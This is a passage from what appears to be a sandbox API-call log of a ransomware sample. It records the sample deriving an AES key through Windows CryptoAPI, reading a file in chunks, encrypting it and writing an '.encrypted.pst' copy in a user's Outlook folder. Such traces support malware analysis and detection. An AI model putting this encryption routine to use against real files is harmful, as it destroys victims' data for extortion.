lpMsg=0xe8f3dfeb20) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.683] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.683] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0025.683] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.683] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0025.684] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.685] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.685] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0025.685] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.685] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.686] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0025.686] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.686] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.686] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.687] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.687] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.687] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0xe8f417b300, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0025.688] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptCreateHash") returned 0x7ffe2a59e85c [0025.688] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0025.691] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0025.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.691] CryptHashData (hHash=0xe8f4061c30, pbData=0xe8f418b510, dwDataLen=0x20, dwFlags=0x1) returned 1 [0025.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.691] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.691] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.691] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.691] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.691] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.691] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.692] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4061c30, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0025.692] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.692] CryptDestroyHash (hHash=0xe8f4061c30) returned 1 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.692] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.692] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0025.692] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0025.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.693] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.693] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\Outlook Files\\" (normalized: "c:\\users\\5jghkoaofdp\\documents\\outlook files")) returned 0x10 [0025.694] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\Outlook Files\\cjeijc.diuv@div.com.encrypted.pst" (normalized: "c:\\users\\5jghkoaofdp\\documents\\outlook files\\cjeijc.diuv@div.com.encrypted.pst"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0025.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.694] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.695] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0025.695] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.698] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.699] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.700] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0025.701] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x2400, lpOverlapped=0x0) returned 1 [0025.702] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0025.710] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.712] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.715] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.715] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.715] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.715] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0025.716] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417aea0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0025.717] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0025.717] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064cd0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cd0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.719] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.723] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.723] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x42400, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x42410) returned 1 [0025.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.723] CharLowerBuffW (in: lpsz="byte[271377]", cchLength=0xc | out: lpsz="byte[271377]") returned 0xc [0025.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.731] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.731] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.734] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.734] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41a09b0*, pdwDataLen=0xe8f3dfdf68*=0x42400, dwBufLen=0x42410 | out: pbData=0xe8f41a09b0*, pdwDataLen=0xe8f3dfdf68*=0x42410) returned 1 [0025.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.742] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.742] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.742] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.743] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.743] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.754] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.754] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 